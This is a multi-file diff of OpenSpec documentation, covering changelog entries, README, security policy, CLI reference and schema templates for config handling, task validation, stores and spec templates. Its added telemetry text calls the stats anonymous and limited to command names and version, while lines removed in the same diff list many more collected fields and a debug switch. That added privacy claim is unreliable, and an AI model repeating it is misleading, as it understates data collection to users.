- [#1876](https://github.com/Fission-AI/OpenSpec/pull/1876) [`605d9e7`](https://github.com/Fission-AI/OpenSpec/commit/605d9e7a2bb5c1bab90268933f9b84ff1eb8807c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop OpenSpec rewriting a global config file it cannot parse. After a hand edit left a typo such as a trailing comma in `config.json`, the next command of any kind, including read-only ones like `openspec list`, read the fallback defaults as telemetry consent, minted a new anonymous ID and wrote it back, replacing the whole file: a `telemetry.enabled false` opt-out, the chosen profile and the workflow list were all lost, and usage events were sent. A config file that exists but does not hold a JSON object, whether it failed to parse or its root is something else such as `null`, an array or a string, is now never written implicitly, and telemetry and the update check treat it as opted out. `config set`, `config unset` and `config profile` refuse with an error that names the file and points to `openspec config edit`, and `openspec config reset --all` still replaces it. The existing "Invalid JSON" warning is unchanged, and valid or missing config files behave exactly as before.
|
||||
|
||||
- [#1840](https://github.com/Fission-AI/OpenSpec/pull/1840) [`fede536`](https://github.com/Fission-AI/OpenSpec/commit/fede536c27e03c1aaa3c17caffa837f483d9e9b9) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left `/opsx:update`'s only write path without a governing rule. Step 4 told the agent to "Apply the requested edit", while step 5 and the guardrails told it to write only after the user confirms each revision, so the same `/opsx:update "the design now uses X"` either wrote immediately or stopped and showed the proposed revision first, depending on which passage the agent weighed. Step 4 now drafts the edit in the conversation and step 5 owns every artifact write, matching the workflow's own specified behavior: propose each revision and apply it only after user confirmation. Fixes [#1836](https://github.com/Fission-AI/OpenSpec/issues/1836).
|
||||
|
||||
- [#1858](https://github.com/Fission-AI/OpenSpec/pull/1858) [`db560ae`](https://github.com/Fission-AI/OpenSpec/commit/db560ae33f565b76ebbc040782ec7007295e8133) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `validate` accepting a requirement whose only scenario is a bare header. The delta scenario counter counted every `####` header, while the spec path that archive uses to validate the rebuilt spec keeps a scenario only when its body has content, so `validate` called such a change valid and `archive` then refused it with a generic "Requirement must have at least one scenario" that did not name the requirement. Both paths now share one rule, `hasScenarioBody`, and read a scenario's body up to the same boundary, so `validate` rejects exactly what archive rejects, naming the requirement and saying that a header with no body under it does not count. A scenario whose body is only a fenced block or a deeper header still counts, a requirement with one real scenario is still accepted even when another is empty, and main-spec validation is unchanged.
|
||||
|
||||
- [#1774](https://github.com/Fission-AI/OpenSpec/pull/1774) [`09984b8`](https://github.com/Fission-AI/OpenSpec/commit/09984b824254f9e35bcdf628fdb052a689a57f37) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
|
||||
|
||||
- **Task lists without checkboxes are now caught**: a `tasks.md` written as plain bullets or a numbered list counts as zero tasks, so `openspec list` and `openspec status` reported "No tasks" and `openspec archive` had no unfinished work to warn about. `openspec validate` now warns when a change's tracked task files contain list items but no checkbox at all, and points at the first offending line.
|
||||
|
||||
- [#1852](https://github.com/Fission-AI/OpenSpec/pull/1852) [`5f5914e`](https://github.com/Fission-AI/OpenSpec/commit/5f5914e7f7a817262c7564ac92694db833564978) Thanks [@clay-good](https://github.com/clay-good)! - Match the natural "openspec <verb>" phrasing to the workflow it names. Users and agents say "openspec propose" or "do an openspec apply", but no workflow skill's description contained that phrasing (and a skill's description is what an agent matches on), so the phrase read as an invitation to hand-build the artifacts with the CLI instead of running the workflow. Every workflow skill's description now names the phrasings a user actually types ("openspec propose", "opsx apply", and so on). Run `openspec update` to pick it up. `openspec update` itself is deliberately left unclaimed: it is a real CLI command that refreshes generated files, unrelated to the update-change workflow, which claims "openspec update change" instead. Commands-only installs write no skills and are unchanged. Fixes [#1221](https://github.com/Fission-AI/OpenSpec/issues/1221).
|
||||
|
||||
## 1.13.0
|
||||
|
||||
### Minor Changes
|
||||
|
||||
@@ -141,7 +141,7 @@ openspec init
|
||||
|
||||
Now talk to your AI:
|
||||
|
||||
- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before anything is written. ([Explore guide](docs/explore.md))
|
||||
- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before any code gets written. ([Explore guide](docs/explore.md))
|
||||
- **Already know what you want?** Go straight to `/opsx:propose <what-you-want-to-build>`.
|
||||
|
||||
Both are in the default profile. If you want the expanded workflow (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`), select it with `openspec config profile` and apply with `openspec update`.
|
||||
@@ -233,52 +233,9 @@ Open a discussion (for core design changes) or an issue before you open a PR, an
|
||||
<details>
|
||||
<summary><strong>Telemetry</strong></summary>
|
||||
|
||||
OpenSpec collects pseudonymous usage stats: a random id generated on your machine, plus the properties listed below. Automatically disabled in CI.
|
||||
OpenSpec collects anonymous usage stats.
|
||||
|
||||
**See exactly what would be sent, on your own machine:**
|
||||
|
||||
```bash
|
||||
OPENSPEC_TELEMETRY_DEBUG=1 openspec list
|
||||
```
|
||||
|
||||
That prints every event to stderr and sends nothing. It works even if you have opted out, and it does not create the id it shows you.
|
||||
|
||||
**Everything collected:**
|
||||
|
||||
| Property | Values |
|
||||
| --- | --- |
|
||||
| `command` | The command you ran, e.g. `archive`, `change:validate`. Never its arguments |
|
||||
| `version`, `version_code` | The OpenSpec version, and the same version as a sortable integer |
|
||||
| `outcome` | `success`, `user_error`, `internal_error`, `cancelled` |
|
||||
| `error_class` | The kind of failure, from a fixed list, e.g. `no_root`, `validation_failed`. Never the message |
|
||||
| `exit_code` | `0`, `1`, `130`, `other` |
|
||||
| `duration` | `<100`, `100-500`, `500-2000`, `2000-10000`, `10000+` milliseconds |
|
||||
| `previous_outcome`, `previous_command_same` | Whether your last run failed, and whether it was the same command |
|
||||
| `platform`, `node_major` | `darwin`/`linux`/`win32`; the Node major version |
|
||||
| `install_kind` | `global`, `npx`, `source`, `other` |
|
||||
| `invoker` | Which coding agent is running the command, from a fixed list, or `terminal`/`unknown` |
|
||||
| `stdout_tty`, `json_mode`, `prompted`, `first_run` | Booleans |
|
||||
| `profile`, `delivery` | Your install profile and delivery mode |
|
||||
| `tools_count` | How many AI tools are configured: `0`, `1`, `2-3`, `4+` |
|
||||
| `schema_source` | `package`, `project`, or `user` |
|
||||
| `store_in_use` | Whether this run resolved through a store rather than a local root. Never which one |
|
||||
| `changes` | How many active changes: `00`, `01-03`, `04-10`, `11-30`, `31+` |
|
||||
| `milestone`, `time_to_reach` | The first time you reach each of `install` (your first run), `init`, `propose` (`openspec new change`), `apply` (`openspec validate`), and `archive`, and how long it took |
|
||||
| `tool` | Each AI tool you have configured, reported once, as its own event carrying no run context and no run id |
|
||||
| `run_id`, `work_session_id` | Random ids correlating one run, and runs less than 30 minutes apart |
|
||||
| `surface` | Always `cli` |
|
||||
|
||||
Every one of those has a fixed set of possible values. Anything else is dropped before the payload is built, so there is no field that could carry a name, path, or message.
|
||||
|
||||
**Never collected:** command arguments, file paths, project names, change/spec/schema/artifact names, store ids or remotes, file contents, error messages, environment variable names or values, hostnames, usernames, git remotes, or IP addresses.
|
||||
|
||||
**Stored on your machine** in the config file (`openspec config get telemetry` prints its path): the random id, the notice version, the time of your first run, the work-session id and last-activity time, which milestones and tools have been reported, and your previous run's outcome. Nothing is written at all if you have opted out.
|
||||
|
||||
**No IP, no location.** Every event sets `$ip: null` and `$geoip_disable: true`, so the analytics backend records neither your address nor anything derived from it. Requests do reach a first-party endpoint that terminates TLS, which necessarily observes the connecting address in transit — those two flags are what the shipped code guarantees, and you can see them yourself with `OPENSPEC_TELEMETRY_DEBUG=1`.
|
||||
|
||||
**Deletion:** open a [GitHub issue](https://github.com/Fission-AI/OpenSpec/issues/new) with the id from `openspec config get telemetry`, or send it privately through [GitHub Security Advisories](https://github.com/Fission-AI/OpenSpec/security/advisories/new) if you would rather not post it publicly. You do not have to ask us for anything, though: deleting the id from your config severs all future events from everything before it, immediately and on your own.
|
||||
|
||||
The id identifies a configuration directory, not a person — a shared home directory means one id covers several people, so it is not a user count.
|
||||
We collect only command names and version to understand usage patterns. No arguments, paths, content, or PII. Automatically disabled in CI.
|
||||
|
||||
**Opt-out (any one is enough):**
|
||||
- `openspec config set telemetry.enabled false` (global config; unset means on)
|
||||
|
||||
+2
-2
@@ -12,7 +12,7 @@ Fixes ship in the latest published version on npm. Older versions are not patche
|
||||
|
||||
## Threat model
|
||||
|
||||
OpenSpec is a local command-line tool. It has no server, no network listener, and no privileged daemon. It reads and writes markdown under the directory you run it in, using paths you supply, with your own user permissions. It can offer to upgrade itself during `openspec update`, and only with your say-so. It sends pseudonymous usage telemetry, which you can inspect with `OPENSPEC_TELEMETRY_DEBUG=1` and disable with `OPENSPEC_TELEMETRY=0`.
|
||||
OpenSpec is a local command-line tool. It has no server, no network listener, and no privileged daemon. It reads and writes markdown under the directory you run it in, using paths you supply, with your own user permissions. It can offer to upgrade itself during `openspec update`, and only with your say-so. It sends anonymous usage telemetry, which you can disable with `OPENSPEC_TELEMETRY=0`.
|
||||
|
||||
That shapes what is and isn't a vulnerability here:
|
||||
|
||||
@@ -45,7 +45,7 @@ ls node_modules | grep -E '^(vite|rollup|vitest|eslint|js-yaml|minimatch)$' #
|
||||
| Install scripts | The package ships no `preinstall`, `install`, or `postinstall` script, so installing it from the npm registry runs no code from OpenSpec. (`prepare` is still declared; npm runs it only for git and local-directory installs, where it builds from source.) Shell completions are opt-in via `openspec completion install`; the CLI prints a one-line tip about them on its first run. |
|
||||
| Running other programs | Every call that goes through a shell uses a fixed literal (`which gh`, `gh auth status`). Anything carrying your input — issue text, editor paths, workset commands, the path passed to `openspec update` — uses an argument array, never string interpolation into a shell. On Windows, `.cmd` shims are launched through `cross-spawn`, which escapes arguments rather than concatenating them. |
|
||||
| Installing software | `openspec update` can run `npm install -g @fission-ai/openspec@latest` and then re-run `openspec update` with the upgraded CLI. It does this only after you answer yes to a prompt, only for the OpenSpec package itself, only when npm owns the install, and never in CI or a non-interactive shell. A global install lives outside your project, so it runs with your permissions there and executes whatever lifecycle scripts the published package ships. It then reads the installed binary's version back rather than assuming the upgrade took. Decline and it prints the command for you to run yourself. |
|
||||
| Telemetry | The command name, how it ended (outcome, a failure class from a fixed list, a bucketed exit code and duration), and bounded run context: platform, Node major, install kind, which coding agent invoked it, a count of configured tools, and bucketed counts of changes. Plus a locally generated random UUID. **This is more than earlier releases collected — platform and Node major are environment facts, which previous versions of this document said were not collected.** No file paths, no file contents, no environment variable names or values, no hostname, no usernames. Every event sets `$ip: null` and `$geoip_disable: true`, so neither your address nor a location derived from it is recorded; the ingest endpoint terminates TLS and so observes the connecting address in transit, which those flags do not change. Every property has a fixed set of possible values and anything else is dropped before the payload is built; see the full list in the README. Verify it yourself with `OPENSPEC_TELEMETRY_DEBUG=1`, which prints the events and sends nothing. Opt out with `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1`; it is off in CI automatically. |
|
||||
| Telemetry | Command name, OpenSpec version, and a locally generated random UUID. No file paths, no file contents, no environment, no hostname, and IP capture is explicitly disabled. Opt out with `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1`; it is off in CI automatically. |
|
||||
| Network | Telemetry when enabled, and one npm registry request during `openspec update` to check whether a newer CLI has been published. That request sends no data about you beyond what any HTTP request reveals, runs once per `openspec update` with nothing cached, and is skipped when `CI` is set to anything but an explicit off-value, under `NODE_ENV=test`, or when `OPENSPEC_NO_UPDATE_CHECK`, `DO_NOT_TRACK=1`, or `OPENSPEC_TELEMETRY=0` is set. Reading, writing, and validating specs is entirely local. |
|
||||
|
||||
## Automated checks
|
||||
|
||||
@@ -125,7 +125,7 @@ The scaffold is bare. Artifacts come from the built-in four ids only, and the ge
|
||||
|
||||
A fork has two kinds of files to edit:
|
||||
|
||||
- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it.
|
||||
- **templates/** change the skeleton of each document. Add a section to the tasks template and every new tasks.md starts with it. Keep the `#` title on the first line: the artifact inherits it, so every generated file opens as a titled document.
|
||||
- **schema.yaml** changes the workflow itself: which artifacts exist, what each one requires first, and the instruction the agent gets when creating it.
|
||||
|
||||
For example, to drop the design document for a leaner flow:
|
||||
|
||||
@@ -17,7 +17,8 @@ once the prose lands. -->
|
||||
|
||||
If it has a row in the [support matrix](../reference/supported-tools.md), yes.
|
||||
Pick its id at init. If it isn't listed but reads the shared `.agents/skills/`
|
||||
folder, pick **Shared `.agents` skills** (`--tools agents`). If neither, request
|
||||
it in the [OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
|
||||
folder, pick **Other / Universal** (`--tools agents`), covered by the support
|
||||
matrix's Other / Universal section. If neither, request it in the
|
||||
[OpenSpec repo](https://github.com/Fission-AI/OpenSpec/issues).
|
||||
|
||||
## Where did the old /openspec:* commands go?
|
||||
|
||||
@@ -302,6 +302,15 @@ Pass --allow-unknown to bypass this check.
|
||||
Error: Invalid configuration - delivery: Invalid option: expected one of "both"|"skills"|"commands"
|
||||
```
|
||||
|
||||
If the config file exists but does not hold a JSON object, whether because it is not valid JSON at all or because its root is something else such as `null` or an array, `config set`, `config unset` and `config profile` exit 1 and leave the file unchanged. Fix it with `openspec config edit`, or replace it with `openspec config reset --all`:
|
||||
|
||||
```
|
||||
Error: /home/you/.config/openspec/config.json could not be parsed, so it was left unchanged.
|
||||
Fix it with "openspec config edit", or reset it with "openspec config reset --all".
|
||||
```
|
||||
|
||||
Until it is fixed, telemetry and the update check stay off.
|
||||
|
||||
### openspec config unset
|
||||
|
||||
```bash
|
||||
@@ -314,7 +323,7 @@ Removes the key so the default applies again. Keys with built-in defaults always
|
||||
Unset delivery (reverted to default)
|
||||
```
|
||||
|
||||
A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0.
|
||||
A key with no value at all prints `Key "featureFlags.nothere" was not set`. Both cases exit 0. A config file that cannot be parsed exits 1 instead, as for `config set`.
|
||||
|
||||
### openspec config reset
|
||||
|
||||
@@ -350,7 +359,11 @@ Without `--all` it exits 1 and prints the usage line.
|
||||
openspec config edit
|
||||
```
|
||||
|
||||
Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1. With no editor configured it exits 1:
|
||||
Opens the config file in `$EDITOR` (falling back to `$VISUAL`), creating it with defaults first if missing. When the editor closes, the file is validated. Invalid JSON or an invalid config exits 1.
|
||||
|
||||
The editor value may carry arguments and quoted paths, for example `code --wait` or `"/Applications/Sublime Text.app/Contents/SharedSupport/bin/subl" -w`. It is split into words without a shell, so `$VAR`, `~` and `;` are passed through literally. An editor that cannot start, or exits non-zero, prints a one-line error and exits 1.
|
||||
|
||||
With no editor configured it exits 1:
|
||||
|
||||
```
|
||||
Error: No editor configured
|
||||
@@ -449,6 +462,13 @@ Specs:
|
||||
|
||||
An empty listing prints `No active changes found.` or `No specs found.` and still exits 0.
|
||||
|
||||
A change is a directory directly under `openspec/changes/`. Unlike specs, changes cannot be nested in a namespace folder. A folder like `changes/mobile/` that only wraps a change (`changes/mobile/refresh-token/`) is listed with the status `not a change`, followed by a warning that names the nested directories. `--json` marks that entry with a `nested` array and adds a top-level `warnings` array. `show`, `status`, `validate` and `archive` refuse the folder with the same message. To fix it, move the change up and fold the namespace into its name:
|
||||
|
||||
```bash
|
||||
mv openspec/changes/mobile/refresh-token openspec/changes/mobile-refresh-token
|
||||
rmdir openspec/changes/mobile
|
||||
```
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: listing printed, even when empty.
|
||||
@@ -667,6 +687,18 @@ Bulk runs print one status line per item, followed by any findings, and end with
|
||||
Totals: 2 passed, 0 failed (2 items)
|
||||
```
|
||||
|
||||
**Task checkbox findings**
|
||||
|
||||
Progress counts checkboxes and nothing else, so a task file written as plain bullets reads as zero tasks: `openspec list` and `openspec status` report no work, and `openspec archive` has nothing to flag as incomplete. Validate reports a `WARNING` on each tracked task file that lists work without a checkbox:
|
||||
|
||||
```text
|
||||
⚠ [WARNING] tasks.md: This change counts as 0 tasks: no line in its tracked task files is a checkbox, so "openspec list" and "openspec status" report no work and "openspec archive" has nothing to flag as incomplete. Write each task as "- [ ] 1.1 Description".
|
||||
```
|
||||
|
||||
The warning fires only when the change's whole tracked set holds no checkbox at all. One file of prose beside a real checklist is not reported, and a change mid-authoring keeps its progress the moment a single checkbox exists. `--strict` turns the warning into a failure. The line number is in the `--json` report.
|
||||
|
||||
Fenced blocks, HTML comments, YAML front matter and indented code are not scanned, so a pasted terminal sample is never mistaken for a task list.
|
||||
|
||||
**Archive merge findings**
|
||||
|
||||
For changes, validate runs archive's merge builder against the current main specs without writing files. It reports merge conflicts, such as a missing `MODIFIED` target or a conflicting `ADDED` requirement, as `INFO`:
|
||||
@@ -999,7 +1031,20 @@ Schema: spec-driven
|
||||
Next: openspec status --change add-caching
|
||||
```
|
||||
|
||||
With `--json`:
|
||||
When no `openspec/` directory was found, `new change` creates one where you are and says so:
|
||||
|
||||
```
|
||||
Created change 'add-caching' at openspec/changes/add-caching/
|
||||
Schema: spec-driven
|
||||
Next: openspec status --change add-caching
|
||||
|
||||
Note: no OpenSpec root was found here, so one was created at openspec/.
|
||||
Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.
|
||||
```
|
||||
|
||||
The notice goes to stdout with the rest of the human output, and never appears with `--json`.
|
||||
|
||||
With `--json`, in a project that already has `openspec/`:
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -1016,6 +1061,15 @@ With `--json`:
|
||||
}
|
||||
```
|
||||
|
||||
When no `openspec/` directory was found and `new change` created one, the JSON has the same shape. `root.path` is the directory you ran it from, and `root.source` reads `implicit`:
|
||||
|
||||
```json
|
||||
"root": {
|
||||
"path": "/Users/you/projects/my-app",
|
||||
"source": "implicit"
|
||||
}
|
||||
```
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: change created.
|
||||
@@ -1065,8 +1119,24 @@ Progress: 2/4 artifacts complete
|
||||
[x] specs
|
||||
[ ] design
|
||||
[-] tasks (blocked by: design)
|
||||
|
||||
Next: openspec instructions design --change "add-rate-limit" --json
|
||||
```
|
||||
|
||||
The `Next:` line names the one command that moves the change forward, so `openspec status` is enough to pick a change back up in a fresh session. It names the next ready artifact while planning is unfinished, and `openspec instructions apply` once every planning artifact exists:
|
||||
|
||||
```
|
||||
[x] proposal
|
||||
[x] specs
|
||||
[x] design
|
||||
[x] tasks
|
||||
|
||||
All planning artifacts complete!
|
||||
Next: openspec instructions apply --change "add-rate-limit" --json
|
||||
```
|
||||
|
||||
It carries `--store <id>` whenever the resolved root is a store, and names the same command as the JSON `nextSteps` sentence.
|
||||
|
||||
`--json` adds per-artifact dependencies, resolved file paths, and a suggested next step. Trimmed:
|
||||
|
||||
```json
|
||||
@@ -1410,7 +1480,7 @@ openspec schema validate spec-driven # one schema, from any source
|
||||
openspec schema validate # every project-local schema
|
||||
```
|
||||
|
||||
It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references.
|
||||
It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references, including in `apply.requires`. An `apply.tracks` value that isn't exactly equal to some artifact's `generates` value prints a `warning:` line but does not fail validation, because OpenSpec then can't tell which artifact's progress that file belongs to.
|
||||
|
||||
**Options**
|
||||
|
||||
@@ -1559,6 +1629,8 @@ openspec store setup team-context --path ~/openspec/team-context
|
||||
|
||||
In an interactive terminal, setup prompts for a missing name and location and confirms before creating anything. Outside one, a missing name or `--path` exits 1 with the flag to pass. Rerunning setup for a registered store reports `Registry: already registered`.
|
||||
|
||||
Setup exits 1 with `store_setup_inside_git_repo` when `--path` is inside another Git repository, because initializing the store there would nest one repository in another. `--no-init-git` creates no repository, so it skips that check. Use it to keep a store at `~/openspec/<id>` when your home directory is itself a Git repository, such as a dotfiles repo.
|
||||
|
||||
**Arguments**
|
||||
|
||||
| Argument | What it is |
|
||||
@@ -1682,6 +1754,8 @@ Error: Pass --yes to delete store files non-interactively.
|
||||
Fix: openspec store remove design-system --yes
|
||||
```
|
||||
|
||||
Remove exits 1 and deletes nothing when the folder lacks matching store metadata, or when it contains another registered store (for example a store vendored as a Git submodule). In that case the error is `store_remove_contains_registered_store`: run `openspec store unregister <nested-id>` first, or `openspec store unregister <id>` to forget the store without deleting files.
|
||||
|
||||
**Options**
|
||||
|
||||
| Flag | Effect |
|
||||
@@ -2118,6 +2192,8 @@ Supported shells: `zsh`, `bash`, `fish`, `powershell`. Every subcommand takes an
|
||||
| `install [shell]` | Write the script and configure your shell startup file. |
|
||||
| `uninstall [shell]` | Remove the script and the config block. |
|
||||
|
||||
Installed with Nix, completions are already in place: the flake package ships the Bash, Fish, and Zsh scripts at the standard locations, so `install` is not needed ([Installation](../start/installation.md#nix)).
|
||||
|
||||
### openspec completion generate
|
||||
|
||||
Prints the script and writes nothing.
|
||||
|
||||
@@ -9,15 +9,6 @@ its network-permission flag. XDG vars move the config/data directories. -->
|
||||
|
||||
## OPENSPEC_TELEMETRY
|
||||
|
||||
Set to `0` to disable usage telemetry. Telemetry is on by default (opt-out) and
|
||||
off automatically when `CI` is set to anything but an explicit off-value.
|
||||
|
||||
## OPENSPEC_TELEMETRY_DEBUG
|
||||
|
||||
Set to `1` to print every telemetry event to stderr and send nothing. Works
|
||||
while opted out, and does not create the anonymous id it shows you. This is the
|
||||
way to verify what is collected without taking the documentation on trust.
|
||||
|
||||
## DO_NOT_TRACK
|
||||
|
||||
## XDG_CONFIG_HOME and XDG_DATA_HOME
|
||||
|
||||
@@ -19,7 +19,7 @@ OpenSpec reuses words that mean something else in git, CI, and agent tooling. Ea
|
||||
| **Fast-forward** | Create a change proposal with every planning artifact in one pass, ready to implement. Skill: `openspec-ff-change`. Not a git fast-forward. | [Skills](skills.md) |
|
||||
| **Legacy workflow** | The pre-OPSX `/openspec:*` commands. | [Migration](../help/legacy/migration.md) |
|
||||
| **Loop** | The cycle a change proposal moves through: explore, propose, review, apply, archive. | [Quickstart](../start/quickstart.md) |
|
||||
| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. | [Concepts](../guides/concepts.md) |
|
||||
| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. A capability with no spec yet gets one from its `ADDED` requirements. | [Concepts](../guides/concepts.md) |
|
||||
| **OpenSpec root** | The `openspec/` tree a command resolves to and operates on: your repo's, or a store's. | [Stores](../multi-repo/stores.md#where-artifacts-get-created-when-using-stores) |
|
||||
| **OPSX** | The current OpenSpec workflow system, and the command prefix it installs (`/opsx:`). | [Architecture](architecture/index.md) |
|
||||
| **Profile** | Which workflows init installs: `core` or `custom`. | [Profiles](../customize/profiles.md) |
|
||||
|
||||
@@ -138,9 +138,12 @@ Apply stays blocked if that file is missing or contains no checkbox with task te
|
||||
- [ ] Pending task
|
||||
- [x] Completed task
|
||||
* [X] Completed task
|
||||
+ [ ] Pending task
|
||||
1. [ ] Pending task
|
||||
2) [x] Completed task
|
||||
```
|
||||
|
||||
Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
|
||||
Any Markdown list marker works: `-`, `*`, `+`, or a number of up to nine digits followed by `.` or `)`. Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
|
||||
|
||||
The tracked file drives the apply state:
|
||||
|
||||
@@ -198,12 +201,16 @@ apply:
|
||||
- Field types and required fields
|
||||
- Relative paths
|
||||
- Artifact IDs, dependencies, and cycles
|
||||
- `apply.requires` IDs: each must be an artifact in the schema
|
||||
- Template files
|
||||
|
||||
A schema with an unknown `apply.requires` ID doesn't load, so every command that uses it reports the error.
|
||||
|
||||
Validation warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value. OpenSpec finds the tracked artifact by comparing those two strings, so anything else leaves it unable to tell which artifact's progress the file belongs to. That includes a typo like `task.md`, and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply keeps reading the file either way, but `openspec list` and `openspec status` count `tasks.md` instead.
|
||||
|
||||
Validation doesn't catch these mistakes:
|
||||
|
||||
| Mistake | What happens |
|
||||
|---|---|
|
||||
| A field is misspelled, such as `instrution` | OpenSpec ignores it. Validation doesn't report the typo. |
|
||||
| `apply.requires` names an unknown artifact ID | Validation doesn't report the unknown ID. |
|
||||
| `name` differs from the schema directory | Validation passes. OpenSpec still uses the directory name for lookup. |
|
||||
|
||||
@@ -54,6 +54,8 @@ Establishes why the change is needed.
|
||||
The template the agent receives as the output format ([templates/proposal.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/proposal.md)):
|
||||
|
||||
```md
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Explain the motivation for this change. What problem does this solve? Why now? -->
|
||||
@@ -101,7 +103,19 @@ Sections:
|
||||
- **Impact**: Affected code, APIs, dependencies, or systems.
|
||||
|
||||
IMPORTANT: The Capabilities section is critical. It creates the contract between
|
||||
proposal and specs phases. Research existing specs before filling this in.
|
||||
proposal and specs phases. Research existing specs before filling this in:
|
||||
run `openspec list --specs` for the project's capability inventory, then
|
||||
`openspec show "<spec-id>" --type spec --json --no-scenarios` for any that
|
||||
look related - that returns a capability's purpose and requirement texts
|
||||
without pulling whole spec files into context. Append `--store "<id>"` to
|
||||
both commands only for a registered standalone store, and keep `--type
|
||||
spec`: a change and a spec sharing a name is otherwise an ambiguous-item
|
||||
error. `openspec list` without `--specs` lists in-flight changes, not
|
||||
specs - it never shows what the project already covers. Reuse an existing
|
||||
capability's exact path instead of introducing a near-duplicate name.
|
||||
The filtered read is only an overview. Before deciding what is already
|
||||
covered or what should change, read each relevant spec in full, including
|
||||
scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
|
||||
Each capability listed here will need a corresponding spec file.
|
||||
|
||||
Every change must either declare at least one capability (new or
|
||||
@@ -122,11 +136,15 @@ This is the foundation - specs, design, and tasks all build on this.
|
||||
|
||||
Defines what behavior changes, with one delta spec per capability the proposal lists.
|
||||
|
||||
Each delta spec is the `spec.md` inside its capability folder. `openspec validate` and `openspec archive` reject delta sections written in any other file under `specs/`, such as `specs/user-auth.md`, because archive never merges them.
|
||||
|
||||
### Structure
|
||||
|
||||
The template the agent receives as the output format ([templates/spec.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/spec.md)):
|
||||
|
||||
```md
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
|
||||
|
||||
@@ -168,7 +186,7 @@ Create one spec file per capability listed in the proposal's Capabilities sectio
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example,
|
||||
`user-auth` or `identity/user-auth`). Preserve the full path:
|
||||
- New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Run `openspec list --specs` to confirm that path before writing the delta, appending `--store "<id>"` only for a registered standalone store - a mistyped or invented path targets a capability that does not exist rather than the one you meant. Do not move or rename the capability.
|
||||
|
||||
There must be at least one spec file unless the change's `.openspec.yaml`
|
||||
sets `skip_specs: true` (no spec-level behavior change) - `openspec validate`
|
||||
@@ -188,7 +206,7 @@ Format requirements:
|
||||
- **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
|
||||
- Every requirement MUST have at least one scenario.
|
||||
|
||||
New capabilities only: start the delta spec with a `## Purpose` section -
|
||||
New capabilities only: the delta spec's first section is `## Purpose` -
|
||||
one or two sentences (50+ characters, or `openspec validate --strict`
|
||||
reports it as too brief) describing what the capability is for. Archive
|
||||
copies it into the main spec it creates; without it the new main spec is
|
||||
@@ -207,8 +225,10 @@ MODIFIED requirements workflow:
|
||||
Common pitfall: Using MODIFIED with partial content loses detail at archive time.
|
||||
If adding new concerns without changing existing behavior, use ADDED instead.
|
||||
|
||||
Example (a new capability, so it opens with `## Purpose`):
|
||||
Example (a new capability, so its first section is `## Purpose`):
|
||||
```
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Lets users take their data out of the product in a portable format.
|
||||
@@ -241,6 +261,8 @@ Explains how to implement the change. Drafted only when the change needs one.
|
||||
The template the agent receives as the output format ([templates/design.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/design.md)):
|
||||
|
||||
```md
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
|
||||
@@ -305,6 +327,8 @@ Breaks the implementation into checkable tasks. [apply](#apply) tracks progress
|
||||
The template the agent receives as the output format ([templates/tasks.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/tasks.md)):
|
||||
|
||||
```md
|
||||
# Tasks
|
||||
|
||||
## 1. <!-- Task Group Name -->
|
||||
|
||||
- [ ] 1.1 <!-- Task description -->
|
||||
@@ -328,7 +352,10 @@ would change what gets built, resolve them with the user first - do not
|
||||
bake an unstated assumption into the task list.
|
